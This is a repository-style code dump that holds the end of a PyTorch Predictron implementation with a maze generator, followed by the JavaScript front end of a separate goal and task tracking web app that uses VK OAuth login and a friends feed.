nn.utils.clip_grad_norm_(self.parameters(), max_norm=self.max_grad_norm) self.optim.step() return (x.detach().cpu().item() for x in [loss, ploss, lloss]) class Buffer(object): def __init__(self, depth, rdim): # buffers for each epoch self.depth = depth self.rdim = rdim self.reset() def store(self, rew, gam, lam, val): """ Record the internal model steps """ self.rew_buf.append(rew) self.lam_buf.append(lam) self.gam_buf.append(gam) self.val_buf.append(val) def reset(self): self.rew_buf, self.gam_buf, self.lam_buf, self.val_buf = [], [], [], [] def finish_path(self, last_val): self.val_buf.append(last_val) self.rew_buf = [torch.zeros_like(self.rew_buf[0], dtype=torch.float32)] + self.rew_buf self.gam_buf = [torch.zeros_like(self.gam_buf[0], dtype=torch.float32)] + self.gam_buf def get(self): rew = torch.cat(self.rew_buf, dim=1).reshape(-1, self.depth + 1, self.rdim) val = torch.cat(self.val_buf, dim=1).reshape(-1, self.depth + 1, self.rdim) lam = torch.cat(self.lam_buf, dim=1).reshape(-1, self.depth, self.rdim) gam = torch.cat(self.gam_buf, dim=1).reshape(-1, self.depth + 1, self.rdim) # calculate preturn pret = [] for i in range(self.depth, -1, -1): g_i = val[:, i, :] for j in range(i, 0, -1): g_i = rew[:, j, :] + gam[:, j, :] * g_i pret.append(g_i) pret = torch.cat(pret[::-1], dim=1).reshape(-1, self.depth + 1, self.rdim) # calculate lambda-preturns g_lam_ret = val[:, -1, :] for i in range(self.depth - 1, -1, -1): g_lam_ret = (1 - lam[:, i, :]) * val[:, i, :] + lam[:, i, :] * ( rew[:, i + 1, :] + gam[:, i + 1, :] * g_lam_ret) return pret, g_lam_ret def main(env, args): model = Predictron((1, args.maze_size, args.maze_size), core_depth=args.core_depth) t_start = time.time() for i in range(args.max_steps): mx, my = env.generate_labelled_mazes(args.batch_size) loss, lossp, lossl = model(mx, my) if i % 100 == 0: print(f'Ep: {i}\t | T: {time.time() - t_start:6.0f} |' + f'L: {loss:.4f} | Lp: {lossp:.4f} | Ll: {lossl:.4f}|') if __name__ == '__main__': from maze import MazeEnv from utils import get_configs args = get_configs() env = MazeEnv(args.maze_size, args.maze_size, args.maze_density) main(env, args) <file_sep>/maze.py """ Maze generator modified from https://github.com/brendanator/predictron/blob/master/predictron/maze.py """ import numpy as np class MazeEnv(): def __init__(self, height=20, width=None, density=0.3, seed=None): self.height = height self.width = width or height self.len = self.height * self.width self.np_random = np.random.RandomState() # set random seed self.seeding(seed=seed) # Create the right number of walls to be shuffled for each new maze num_locs = self.len - 2 num_wall = int(num_locs * density) self.walls = list('1' * num_wall + '0' * (num_locs - num_wall)) # Starting point is the bottom right corner self.bottom_right_corner = int('0' * (self.len - 1) + '1', 5) # Edges for use in flood search self.not_left_edge = int(('0' + '1' * (self.width - 1)) * self.height, 2) self.not_right_edge = int(('1' * (self.width - 1) + '0') * self.height, 2) self.not_top_edge = int('0' * self.width + '1' * self.width * (self.height - 1), 2) self.not_bottom_edge = int('1' * self.width * (self.height - 1) + '0' * self.width, 2) def gen_emb(self): self.np_random.shuffle(self.walls) return int('0' + ''.join(self.walls) + '0', base=2) def emb2binary(self, emb): return bin(emb)[2:].zfill(self.len) def emb2maze(self, emb): return np.asarray(list(self.emb2binary(emb)), dtype=int).reshape(self.height, self.width) def sample_n(self, num_samples): return [self.emb2maze(self.gen_emb()) for _ in range(num_samples)] def connected_squares(self, emb, start=None): """ Find squares connected to the end square in the maze Uses a fast bitwise flood fill algorithm """ empty_squares = ~emb azoom = None # zoom for available nodes azoom_next = start or self.bottom_right_corner # stop criterion: when all available nodes are found while azoom != azoom_next: azoom = azoom_next # move the zoom (without specific edges) towards all directions left = azoom << 1 & self.not_right_edge right = azoom >> 1 & self.not_left_edge up = azoom << self.width & self.not_bottom_edge down = azoom >> self.width & self.not_top_edge # combine the available zoom azoom_next = (azoom | left | right | up | down) & empty_squares return azoom def connected_diagonals(self, emb): assert self.height == self.width return np.diag(self.emb2maze(self.connected_squares(emb))) def generate_labelled_mazes(self, num_samples): X, Y = [], [] for _ in range(num_samples): x = self.gen_emb() X.append(self.emb2maze(x)) Y.append(self.connected_diagonals(x)) X = np.asarray(X, dtype=np.float32)[:, np.newaxis, ...] Y = np.asarray(Y, dtype=np.float32) return X, Y def print_maze(self, maze, label): """ Output matrix: -A: available nodes; -O: available diagonal nodes; -X: unavailable nodes. """ out = [] for n, (row, a) in enumerate(zip(maze, label)): row_str = np.where(row.astype(int), 'X', 'A') if a == 1: row_str[n] = 'O' out.append(row_str) out = np.asarray(out, dtype=str) return out def seeding(self, seed=None): self.np_random.seed(seed=seed) return [seed] <file_sep>/README.md # predictron-pyt A Pytorch implementation of `The Predictron: End-To-End Learning and Planning, Silver et al.` ## Flaw 1. No Distributed GPU support 2. Only tested for 1e5 time steps due to machine limits, and achieve a total MSE as 0.0035 only. ## References 1. The Predictron: End-To-End Learning and Planning, Silver et al. [[link]][paper-link] 2. [brendanator/predictron](https://github.com/brendanator/predictron/) 3. [zhongwen/predictron](https://github.com/zhongwen/predictron) [paper-link]: https://arxiv.org/abs/1612.08810 <file_sep>/utils.py import argparse import os import random import numpy as np import torch import torch.nn as nn def set_global_seeds(seed): if seed is None: return elif np.isscalar(seed): # set seeds np.random.seed(seed) random.seed(seed) torch.manual_seed(seed) if torch.cuda.is_available(): torch.cuda.manual_seed_all(seed) else: raise ValueError(f"Invalid seed: {seed} (type {type(seed)})") def get_device(cpu_only=False, gpu=0, echo=False): if (not cpu_only) and torch.cuda.is_available(): os.environ['CUDA_VISIBLE_DEVICES'] = str(gpu) stdout = f'Using CUDA ({torch.cuda.get_device_name(torch.cuda.current_device())})' dev = 'cuda' else: stdout = 'Using CPU' dev = 'cpu' if echo: stdout = "=" * 10 + stdout + "=" * 10 print(stdout) return dev def init_params(model, gain=1.0): for params in model.parameters(): if len(params.shape) > 1: torch.nn.init.xavier_uniform_(params.data, gain=gain) def get_configs(echo=False): parser = argparse.ArgumentParser() parser.add_argument('--seed', default=0, type=int) # Maze settings parser.add_argument('--maze_size', default=20, type=int) parser.add_argument('--maze_density', default=0.3, type=float) parser.add_argument('--core_depth', default=16, type=int) # Algo settings parser.add_argument('--max_steps', default=int(1e5), type=int) parser.add_argument('--batch_size', default=100, type=int) parser.add_argument('--lr', default=1e-3, type=float) parser.add_argument('--max_grad_norm', default=10., type=float) parser.add_argument('--cpu_only', default=False, action='store_true') args, _ = parser.parse_known_args() args.device = get_device(cpu_only=args.cpu_only, echo=echo) return args class MLP(nn.Module): def __init__( self, sizes, activ_fn=nn.ReLU, activ_out=nn.Identity, batch_norm=False, bn_kwargs={}, ): super(MLP, self).__init__() nl = len(sizes) - 2 assert nl >= 0, "at least two layers should be specified" layers = [] for n, (n_in, n_out) in enumerate(zip(sizes[:-1], sizes[1:])): layers += [nn.Linear(n_in, n_out)] if n < nl: # intermediate layers activ = activ_fn if batch_norm: layers += [nn.BatchNorm1d(n_out, **bn_kwargs)] else: # output layers activ = activ_out layers += [activ()] self.module = nn.Sequential(*layers) self._output_size = sizes[-1] def forward(self, inputs): return self.module(inputs) @property def output_size(self): return self._output_size
e67764a86cde26f3b9c8de2f0a1b1082557ece97
[ "Markdown", "Python" ]
4
Python
cying9/predictron-pyt
cdd1b5f3275f46745a7b0c9f34ae8ac2d9b56d94
828b3d7cc1876595c0752c35adc660d4bbf9c36e
refs/heads/master
<file_sep>function getGoalPrivacy() { return $('#goal-privacy .active input').attr('value'); } function setGoalPrivacy(privacy) { $('#goal-privacy input').prop('checked', false).parent().removeClass('btn-violet active').addClass('btn-default'); $('#goal-input-privacy-'+privacy).prop('checked', true).parent().addClass('btn-violet active').removeClass('btn-default'); } function addGoal() { $('#goal-input-id').val(''); $('#goal-input-name').val(''); $('#goal-input-text').val(''); $('#goal-input-team').val(''); $('#delgoal-btn').hide(); $('#goaldone-btn').hide(); setGoalPrivacy('friends'); myGo('goal'); } function editGoal(id) { $('#delgoal-btn').show(); $('#goaldone-btn').hide(); goal = doc.goals[id]; $('#goal-input-id').val(id); $('#goal-input-name').val(goal.name); $('#goal-input-text').val(goal.text); $('#goal-input-team').val(goal.team); setGoalPrivacy(goal.privacy); myGo('goal'); } $(function(){ $('#goal-input-team').change(function(){ if ($(this).val() == '') { $('#goal-privacy').show(); } else { $('#goal-privacy').hide(); } }); $('#goal-privacy label').click(function(){ $('#goal-privacy label').removeClass('btn-violet active').addClass('btn-default'); $(this).addClass('btn-violet active').removeClass('btn-default'); }); $('#goal-form').submit(function(event){ event.preventDefault(); id = $('#goal-input-id').val(); if (id == '') { id = moment().format('YYYY-MM-DD HH:mm:ss'); goal = {'done': ''}; doc.goals[id] = goal; } goal = doc.goals[id]; goal.name = $('#goal-input-name').val(); goal.text = $('#goal-input-text').val(); goal.privacy = getGoalPrivacy(); myGoalCommit(id); }) $('#delgoal-btn').click(function(event){ event.preventDefault(); id = $('#goal-input-id').val(); delete doc.goals[id]; myGoalCommit(id); }) $('#goaldone-btn').click(function(event){ event.preventDefault(); id = $('#goal-input-id').val(); goal = doc.goals[id]; if (goal.done == '') { goal.done = moment().format('YYYY-MM-DD HH:mm:ss'); } else { goal.done = ''; } myGoalCommit(id); }) $('#cancelgoal-btn').click(function(event){ event.preventDefault(); myGo('index'); }) }) <file_sep>function feedRender(data) { var results = ''; items = Object.keys(data.items); items.sort(); for (var i = items.length - 1; i >= 0; i--) { id = items[i]; item = data.items[id]; results += '\ <div data-id="'+item.id+'" href="#" class="feed-item">\ <div class="feed-header">\ <img class="img-circle" src="'+item.photo50+'"/>\ <span class="feed-name">'; if (item.online) { results += '• '; } results += item.name; if (item.teamname !== '') { results += ' @ ' + item.teamname; } results += '</span>\ <span class="feed-date">'+moment(id, 'YYYY-MM-DD HH:mm:ss').fromNow()+'</span>\ </div>'; if (item.done == '') { if (item.itemclass == 'champ') { results += '<span class="feed-icon"><i class="glyphicon glyphicon-flash" style="color:#357ebd;"></i></span>'; } else if (item.itemclass == 'goal') { results += '<span class="feed-icon"><i class="glyphicon glyphicon-screenshot" style="color:#5f2c8b;"></i></span>'; } } else { results += '<span class="feed-icon"><i class="glyphicon glyphicon-ok" style="color:#449d44;"></i></span>'; } results += '<span>'; if (item.itemclass == 'champ') { results += '<em>'+item.goalname+'</em> '; } else if (item.itemclass == 'goal') { results += '<b>'+item.goalname+'</b> '; }; results += item.text+'</span><p class="feed-likes'; if (data.ilike.indexOf(item.id) >= 0) { results += ' ilike'; } results += '"><a href="#"><i class="glyphicon glyphicon-heart"></i> <b>'+(item.likes == 0 ? '' : item.likes)+'</b></a></p>\ </div>'; }; if (results == '') { $('#nofriends').show(); } else { $('#feed-data').html(results); } $('.editfeed-btn').click(function(event){ event.preventDefault(); //editResult($(this).data('id')); }) $('.feed-likes a').click(function(event){ event.preventDefault(); if ($(this).parent().hasClass('ilike')) { $(this).parent().removeClass('ilike'); var i = ($(this).find('b').text()); i--; $(this).find('b').hide().text(i).fadeIn(); } else { $(this).parent().addClass('ilike'); var i = ($(this).find('b').text()); i++; $(this).find('b').hide().text(i).fadeIn(); } var id = $(this).parents('.feed-item').attr('data-id'); $.get("{{ path('feed_like') }}", {id: id}); }) } function feedLoad() { connect('feed', feedRender); } $(function(){ $('a[href="#feed"]').on('click', function (e) { feedLoad(); }) }) <file_sep>var editingchampid; var editingchamp; var champbuttonstyle; function setAddingChamp(){ editingchampid = ''; editingchamp = {}; $('#champ-header span').text('Добавить'); $('#delchamp-btn').hide(); $('#champdone-btn').hide(); $('#champ-done input').prop('checked', false).parent().removeClass('btn-success active').addClass('btn-default'); $('#champ-done-input-today').prop('checked', true).parent().addClass('btn-success active').removeClass('btn-default'); $('#champ-start input').prop('checked', false).parent().removeClass('btn-primary active').addClass('btn-default'); $('#champ-start-input-today').prop('checked', true).parent().addClass('btn-primary active').removeClass('btn-default'); $('#champ-done-input-earlier').parent().hide(); $('#champ-input-text').val(''); } function setEditingChamp(){ $('#champ-header span').text('Редактировать'); $('#delchamp-btn').show(); $('#champdone-btn').show(); } function setTaskStyle(){ champbuttonstyle = 'btn-primary'; $('#champ-header').html('<i class="glyphicon glyphicon-flash" style="color:#357ebd;"></i> <span>Редактировать</span> задачу'); $('#champdone-btn').show().removeClass('btn-primary').addClass('btn-success').text('Я сделал это!'); $('#champ-privacy label.active').removeClass('btn-success').addClass('btn-primary'); $('#champ-input-text').attr('placeholder', 'Вот что я сделаю...'); $('#champ-input-submit').val('Я сделаю это!').removeClass('btn-success').addClass('btn-primary'); $('#champ-start').show(); $('#champ-start-input-missed').parent().hide(); $('#champ-done').hide(); } function setResultStyle(){ champbuttonstyle = 'btn-success'; $('#champ-header').html('<i class="glyphicon glyphicon-ok" style="color:#449d44;"></i> <span>Редактировать</span> результат'); $('#champdone-btn').show().removeClass('btn-success').addClass('btn-primary').text('Ещё не сделал'); $('#champ-privacy label.active').removeClass('btn-primary').addClass('btn-success'); $('#champ-input-text').attr('placeholder', 'Вот как я отжёг...'); $('#champ-input-submit').val('Я молодец!').removeClass('btn-primary').addClass('btn-success'); $('#champ-start').hide(); $('#champ-done').show(); $('#champ-done-input-earlier').parent().hide(); } function getChampPrivacy() { return $('#champ-privacy .active input').attr('value'); } function activateRadioButton(radio, active, style){ $(radio+' input').prop('checked', false).parent().removeClass(style+' active').addClass('btn-default'); $(active).prop('checked', true).parent().addClass(style+' active').removeClass('btn-default'); } function radioButtons(id) { $(id+' label').click(function(){ $(id+' label').removeClass(champbuttonstyle).removeClass('active').addClass('btn-default'); $(this).addClass(champbuttonstyle).addClass('active').removeClass('btn-default'); }); } function setChampPrivacy(privacy) { if (!privacy) privacy = 'friends'; activateRadioButton('#champ-privacy', '#champ-input-privacy-'+privacy, champbuttonstyle); } function addResult() { constructChampForm(); setResultStyle(); setAddingChamp(); setChampPrivacy('friends'); myGo('champ'); } function addTask() { constructChampForm(); setTaskStyle(); setAddingChamp(); setChampPrivacy('friends'); myGo('champ'); } function doEditChamp() { var id = editingchampid; var champ = editingchamp; setEditingChamp(); // видимость и цвета элементов if (champ.done == '') { setTaskStyle(); } else { setResultStyle(); } // константы today = moment().format('YYYY-MM-DD'); tomorrow = moment().add('days', 1).format('YYYY-MM-DD'); yesterday = moment().subtract('days', 1).format('YYYY-MM-DD'); // поля start и done if (champ.done == '') { if (champ.start == '') { start = 'later'; } else { start = moment(champ.start, 'YYYY-MM-DD HH:mm:ss').format('YYYY-MM-DD'); if (start == today) { start = 'today'; } else if (start == tomorrow) { start = 'tomorrow'; } else { start = 'missed'; $('#champ-start-input-missed').parent().find('span').text(moment(champ.start, 'YYYY-MM-DD HH:mm:ss').format('DD.MM.YYYY')); $('#champ-start-input-missed').parent().show(); } } activateRadioButton('#champ-start', '#champ-start-input-'+start, champbuttonstyle); } else { done = moment(champ.done, 'YYYY-MM-DD HH:mm:ss').format('YYYY-MM-DD'); if (done == today) { done = 'today'; } else if (done == yesterday) { done = 'yesterday'; } else { done = 'earlier'; $('#champ-done-input-earlier').parent().find('span').text(moment(champ.done, 'YYYY-MM-DD HH:mm:ss').format('DD.MM.YYYY')); $('#champ-done-input-earlier').parent().show(); } activateRadioButton('#champ-done', '#champ-done-input-'+done, champbuttonstyle); } $('#champ-input-text').val($("<div/>").html(champ.text).text()); var teamgoal; if (champ.team > 0 && champ.goal !== '') { teamgoal = 'team.' + champ.team + '.goal.' + champ.goal; } else if (champ.team > 0) { teamgoal = 'team.' + champ.team; } else if (champ.goal !== '') { teamgoal = 'goal.' + champ.goal; } else { teamgoal = ''; } $('#champ-input-teamgoal').val(teamgoal); $('#champ-input-teamgoal').change(); setChampPrivacy(champ.privacy); myGo('champ'); } function constructChampForm() { $('#champ-input-teamgoal option[value^="goal."]').remove(); for (var i = Object.keys(doc.goals).length - 1; i >= 0; i--) { var id = Object.keys(doc.goals)[i]; var goal = doc.goals[id]; var s = '' if (goal.done == '') { s += '<option value="goal.'+id+'"># '+goal.name+'</option>'; } $('#champ-input-teamgoal').append(s); }; } function editChamp(id) { constructChampForm(); editingchampid = id; editingchamp = jQuery.extend({}, doc.champs[id]); doEditChamp(); myGo('champ'); } function persistChampForm() { var champ = editingchamp; champ.text = $('#champ-input-text').val(); champ.team = ''; champ.goal = ''; teamgoal = $('#champ-input-teamgoal').val().split('.'); if (teamgoal.length == 4) { champ.team = teamgoal[1]; champ.goal = teamgoal[2]; } else if (teamgoal.length == 2) { if (teamgoal[0] == 'team') { champ.team = teamgoal[1]; } else if (teamgoal[0] == 'goal') { champ.goal = teamgoal[1]; } } if ($('#champ-start').is(":visible")) { if ($('#champ-start-input-today').parent().hasClass('active')) { champ.start = moment().format('YYYY-MM-DD'); } else if ($('#champ-start-input-tomorrow').parent().hasClass('active')) { champ.start = moment().add('days', 1).format('YYYY-MM-DD'); } else if (!$('#champ-start-input-missed').parent().hasClass('active')) { champ.start = ''; } } else { champ.start = ''; } if ($('#champ-done').is(":visible")) { if ($('#champ-done-input-today').parent().hasClass('active')) { champ.done = moment().format('YYYY-MM-DD HH:mm:ss'); } else if ($('#champ-done-input-yesterday').parent().hasClass('active')) { champ.done = moment().subtract('days', 1).format('YYYY-MM-DD'); } } else { champ.done = ''; } champ.privacy = getChampPrivacy(); } $(function(){ $('#champ-input-teamgoal').change(function(){ if ($(this).val() == '') { $('#champ-privacy').show(); } else { $('#champ-privacy').hide(); } }); radioButtons('#champ-privacy', champbuttonstyle); radioButtons('#champ-done', champbuttonstyle); radioButtons('#champ-start', champbuttonstyle); $('#champ-form').submit(function(event){ event.preventDefault(); if (editingchampid == '') { editingchampid = moment().format('YYYY-MM-DD HH:mm:ss'); editingchamp = {}; } persistChampForm(); doc.champs[editingchampid] = editingchamp; myChampCommit(editingchampid); }) $('#delchamp-btn').click(function(event){ event.preventDefault(); delete doc.champs[editingchampid]; myChampCommit(editingchampid); }) $('#champdone-btn').click(function(event){ event.preventDefault(); persistChampForm(); if (editingchamp.done == '') { editingchamp.done = moment().format('YYYY-MM-DD HH:mm:ss'); } else { editingchamp.done = ''; } $('#champ-form').hide().fadeIn(); doEditChamp(); }) $('#cancelchamp-btn').click(function(event){ event.preventDefault(); myGo('index'); }) }) <file_sep>function myGo(page) { $('#my-pages a[href="#my-'+page+'"]').tab('show'); } function myHasUpdates() { if (!doc || !('updates' in doc)) return false; if (Object.keys(doc.updates.goals).length > 0) return true; if (Object.keys(doc.updates.champs).length > 0) return true; return false; } function myPull() { if (!myHasUpdates()) { connect('my/getdata', function(loaded) { if (!myHasUpdates()) { if (loaded.champs) { doc = loaded; localStorage.setItem('doc', JSON.stringify(doc)); myRender(); } else { if (loaded.error) { login(); } } } }) } } function myPush() { if (myHasUpdates()) { var pushdata = JSON.stringify(doc); connect('my/setdata', pushdata, function(acceptedUpdates) { for (var i = Object.keys(acceptedUpdates.champs).length - 1; i >= 0; i--) { delete doc.updates.champs[Object.keys(acceptedUpdates.champs)[i]]; } for (var i = Object.keys(acceptedUpdates.goals).length - 1; i >= 0; i--) { delete doc.updates.goals[Object.keys(acceptedUpdates.goals)[i]]; } myPull(); }); } else { myPull(); } } function myCommit(kind, id) { if (!('updates' in doc)) doc.updates = {'goals': {}, 'champs': {}}; doc.updates[kind][id] = true; // обновляем goalname if (kind == 'champs') { var champ = doc[kind][id]; if (champ) { if (champ.goal == '') { champ.goalname = ''; } else { for (var i = Object.keys(doc.goals).length - 1; i >= 0; i--) { var goal = doc.goals[Object.keys(doc.goals)[i]]; if (champ.goal == goal.id) { champ.goalname = goal.name; break; } } } } } var data = JSON.stringify(doc); localStorage.setItem('doc', data); myPush(); myRender(); myGo('index'); } function myChampCommit(id) { myCommit('champs', id); } function myGoalCommit(id) { myCommit('goals', id); } var doc; function myRender() { var dates = {}; var today = moment().format('YYYY-MM-DD'); var yesterday = moment().subtract('days', 1).format('YYYY-MM-DD'); var tomorrow = moment().add('days', 1).format('YYYY-MM-DD'); for (var i = Object.keys(doc.champs).length - 1; i >= 0; i--) { var id = Object.keys(doc.champs)[i]; var champ = doc.champs[id]; var date = ''; if (champ.done == '0000-00-00 00:00:00') champ.done = ''; if (champ.start == '0000-00-00 00:00:00') champ.start = ''; function myRenderBadge(item) { var privacy = ''; var likes = ''; if (item.privacy == 'private') { privacy = '<i class="glyphicon glyphicon-eye-close private" title="Не видна никому"></i>'; } else { if (item.privacy == 'public') { privacy = '<i class="glyphicon glyphicon-globe public" title="Видна всем"></i>'; } if (item.likes > 0) { likes = '<span class="likes"><i class="glyphicon glyphicon-heart-empty"></i> <b>'+item.likes+'</b></span>'; } } return '\ <p class="pull-right">' + likes + ' ' + privacy + '</p>'; } function myRenderItem(date, collection, itemclass, item) { if (!(date in dates)) { dates[date] = {tasks:'', results:'', goals:''}; } var icon; if (collection == 'tasks') { icon = '<i class="glyphicon glyphicon-flash" style="color:#357ebd;"></i>'; } else if (collection == 'results') { icon = '<i class="glyphicon glyphicon-ok" style="color:#449d44;"></i>'; } else if (collection == 'goals') { icon = '<i class="glyphicon glyphicon-screenshot" style="color:#5f2c8b;"></i>'; } var text; if (itemclass == 'goal') { text = '<span><b>'+item.name+'</b> '+item.text+'</span>'; } else if (itemclass == 'champ') { text = '<span>'+item.text+'</span>'; } dates[date][collection] += '\ <a data-id="'+id+'" href="#" class="list-group-item ' + itemclass + '-item ' + collection + '">\ ' + myRenderBadge(item) + '\ ' + icon + '\ <em>\ ' + (item.teamname?item.teamname:'') + '\ ' + (item.goal&&item.goal!==''?doc.goals[item.goal].name:'') + '\ </em>\ <span>'+text+'</span>\ </a>'; } if (champ.done == '') { if (champ.start == '') { date = 'later'; } else { date = moment(champ.start, 'YYYY-MM-DD HH:mm:ss').format('YYYY-MM-DD'); } myRenderItem(date, 'tasks', 'champ', champ); } else { date = moment(champ.done, 'YYYY-MM-DD HH:mm:ss').format('YYYY-MM-DD'); myRenderItem(date, 'results', 'champ', champ); } }; for (var i = Object.keys(doc.goals).length - 1; i >= 0; i--) { var id = Object.keys(doc.goals)[i]; var goal = doc.goals[id]; var date = ''; if (goal.done == '0000-00-00 00:00:00') goal.done = ''; if (goal.done == '') { date = 'later'; myRenderItem(date, 'goals', 'goal', goal); } else { date = moment(goal.done, 'YYYY-MM-DD HH:mm:ss').format('YYYY-MM-DD'); myRenderItem(date, 'results', 'goal', goal); } }; s = ''; var sorteddates = Object.keys(dates).sort(); for (var i = sorteddates.length - 1; i >= 0; i--) { var date = sorteddates[i]; if (date == 'later') { s += '<h4>Очень скоро</h4>'; } else if (date == tomorrow) { s += '<h4>Завтра, ' + moment(date, 'YYYY-MM-DD HH:mm:ss').format('DD MMMM, dddd') + '</h4>'; } else if (date == today) { s += '<h4><b>Сегодня, ' + moment(date, 'YYYY-MM-DD HH:mm:ss').format('DD MMMM, dddd') + '</b></h4>'; } else if (date == yesterday) { s += '<h4>Вчера, ' + moment(date, 'YYYY-MM-DD HH:mm:ss').format('DD MMMM, dddd') + '</h4>'; } else { s += '<h4>' + moment(date, 'YYYY-MM-DD HH:mm:ss').format('DD MMMM, dddd') + '</h4>'; } if (dates[date].goals && dates[date].goals !== '') { s += 'Цели <div class="list-group" class="my-goals">'+dates[date].goals+'</div>'; } if (dates[date].results !== '') { s += 'Результаты <div class="list-group" class="my-results">'+dates[date].results+'</div>'; } if (dates[date].tasks !== '') { s += 'Задачи <div class="list-group" class="my-tasks">'+dates[date].tasks+'</div>'; } }; if (s == '') { $('#nochamps').show(); } else { $('#my-data').html(s); } $('.champ-item').click(function(event){ event.preventDefault(); editChamp($(this).data('id')); }) $('.goal-item').click(function(event){ event.preventDefault(); editGoal($(this).data('id')); }) } function myLoad() { var stored = localStorage.getItem('doc'); if (stored === null) { myPull(); } else { doc = JSON.parse(stored); if (!doc['champs']) { myPull(); } else { if (!doc['goals']) { doc['goals'] = {}; } // если старая база, где на цели ссылались по id, то обновляем её for (var i = Object.keys(doc.champs).length - 1; i >= 0; i--) { var champ = doc.champs[Object.keys(doc.champs)[i]]; if (champ.goal == undefined || champ.goal == 'undefined') { champ.goal = ''; } else if (champ.goal !== '' && champ.goal.length < '0000-00-00 00:00:00'.length) { for (var k = Object.keys(doc.goals).length - 1; k >= 0; k--) { var id = Object.keys(doc.goals)[k]; var goal = doc.goals[id]; if (goal.name == champ.goalname) { champ.goal = id; break; } } } } myRender(); myPush(); } } } $(function(){ hashparams = document.location.href.split('#')[1]; if (!hashparams) { myLoad(); } var myscrolltop = -1; $('#my-pages a').on('show.bs.tab', function (e) { if ($(e.relatedTarget).attr('href') == '#my-index') { myscrolltop = $('body').scrollTop(); } }) $('#my-pages a').on('shown.bs.tab', function (e) { if ($(e.target).attr('href') == '#my-index') { $('body').scrollTop(myscrolltop); } }) }) <file_sep>function friendsRender(data) { if (data.error) { return; } var results = ''; for (var i = Object.keys(data.users).length - 1; i >= 0; i--) { id = Object.keys(data.users)[i]; friend = data.users[id]; var icon = ''; var label = ''; var online = ''; var score = ''; if (data.sharewithme[id]) { if (data.ishareto[id]) { // взаимные icon = '<img src="/my/friends/arrow-mutual.gif"/>'; label = 'Удалить'; } else { // я его друг icon = '<img src="/my/friends/arrow-friendof.gif"/>'; label = 'Добавить'; } } else if (data.ishareto[id]) { // он мой друг icon = '<img src="/my/friends/arrow-friend.gif"/>'; label = 'Удалить'; } else { // не друзья icon = '<i class="glyphicon glyphicon-minus"></i>'; label = 'Добавить'; } if (friend.online) { online = ' <span class="online">online</span>'; } if (friend.score) { score = '<span class="badge pull-right">' + friend.score + '</span>'; } results += '\ <div class="friend">\ <img class="img-circle" src="'+friend.photo50+'"/>\ <p>\ ' + score + friend.name + online + '\ </p>\ <p>\ ' + icon + '\ <a data-id="'+id+'" href="#" class="btn btn-default btn-xs editfriend-btn">'+label+'</a>\ </p>\ </div>'; }; $('#friends-data').html(results); $('.editfriend-btn').click(function(event){ event.preventDefault(); connect('friends/switch', $(this).data('id'), friendsRender); }) } $(function(){ //connect('friends/getdata', friendsRender); })<file_sep>function connect(url, data, success) { if (arguments.length == 2) { // if only two arguments were supplied if (Object.prototype.toString.call(data) == "[object Function]") { success = data; data = false; } } var requestdata = logindata(); if (data) { requestdata.data = data; } $.ajax({ type: 'POST', // url: 'http://localhost:8999/'+url, url: 'http://api.ichamp.io/'+url, crossDomain: true, dataType:'json', data: requestdata, success: function(data) { success(data); }, error: function (responseData, textStatus, errorThrown) { console.log(responseData); console.log(textStatus); console.log(errorThrown); debugger; } }); } function logindata() { return { 'vk_user_id':$.cookie('vk_user_id'), 'vk_access_token':$.cookie('vk_access_token') } } function login() { $('a[href="#login"]').click(); } $(function() { /* if (document.location.host == 'ichamp.io') { vk_app_id = '4090226'; } else if (document.location.host == 'localhost:8080') { vk_app_id = '2383340'; } else { // standalone } hashparams = document.location.href.split('#')[1]; if (hashparams) { $('#loading').show(); vk_token = {}; params = hashparams.split('&'); for (var i = params.length - 1; i >= 0; i--) { kv = params[i].split('='); vk_token[kv[0]] = kv[1]; }; if (vk_token['access_token']) { $.cookie('vk_user_id', vk_token['user_id'], { expires: 365 }); $.cookie('vk_access_token', vk_token['access_token'], { expires: 365 }); } document.location.href = document.location.href.split('/')[0]; } if (!$.cookie('vk_user_id')) { login(); } $('#login-vk').click(function(event){ event.preventDefault(); vk_app_permissions = 'notify,friends,photos,notifications,offline'; var permissionUrl = 'https://oauth.vk.com/authorize?client_id='+vk_app_id+'&redirect_uri=' + window.location + '&scope=' + vk_app_permissions + '&display=mobile&response_type=token'; window.location = permissionUrl; }) */ }) $(function(){ $('#addresult-btn').click(function(event){ event.preventDefault(); addResult(); }) $('#addtask-btn').click(function(event){ event.preventDefault(); addTask(); }) $('#addgoal-btn').click(function(event){ event.preventDefault(); addGoal(); }) }) var url_parser={ get_args: function (s) { var tmp=new Array(); s=(s.toString()).split('&'); for (var i in s) { i=s[i].split("="); tmp[(i[0])]=i[1]; } return tmp; }, get_args_cookie: function (s) { var tmp=new Array(); s=(s.toString()).split('; '); for (var i in s) { i=s[i].split("="); tmp[(i[0])]=i[1]; } return tmp; } }; var plugin_vk = { wwwref: false, plugin_perms: "friends,wall,photos,wall,offline,notes", auth: function (force) { $('#login').append('auth '); if (!window.localStorage.getItem("plugin_vk_token") || force || window.localStorage.getItem("plugin_vk_perms")!=plugin_vk.plugin_perms) { $('#login').append('notoken '); var authURL="https://oauth.vk.com/authorize?client_id=4090226&scope="+this.plugin_perms+"&redirect_uri=http://oauth.vk.com/blank.html&display=touch&response_type=token"; this.wwwref = window.open(encodeURI(authURL), '_blank', 'location=no'); this.wwwref.addEventListener('loadstop', this.auth_event_url); } }, auth_event_url: function (event) { $('#login').append('authevent '); var tmp=(event.url).split("#"); if (tmp[0]=='https://oauth.vk.com/blank.html' || tmp[0]=='http://oauth.vk.com/blank.html') { $('#login').append('refclose '); plugin_vk.wwwref.close(); var tmp=url_parser.get_args(tmp[1]); window.localStorage.setItem("plugin_vk_token", tmp['access_token']); window.localStorage.setItem("plugin_vk_user_id", tmp['user_id']); window.localStorage.setItem("plugin_fb_exp", tmp['expires_in']); window.localStorage.setItem("plugin_vk_perms", plugin_vk.plugin_perms); $('#login').append('token='); $('#login').append(tmp['user_id']); } } }; $(function(){ $('#login').append('jquery '); if (!$.cookie('vk_user_id')) { $('#login').append('login '); login(); } $('#login-vk').click(function(event){ $('#login').append('click '); event.preventDefault(); plugin_vk.auth(false); }) })
515c285b051b1f6efebf91e03d2ea83d37678fa9
[ "JavaScript" ]
6
JavaScript
schaman/my-app
c1feeffcd6ab98dde9ab81856560699f4b379cac
bc243be92eed6b611ccf281ede40acfe78375f3e
refs/heads/master
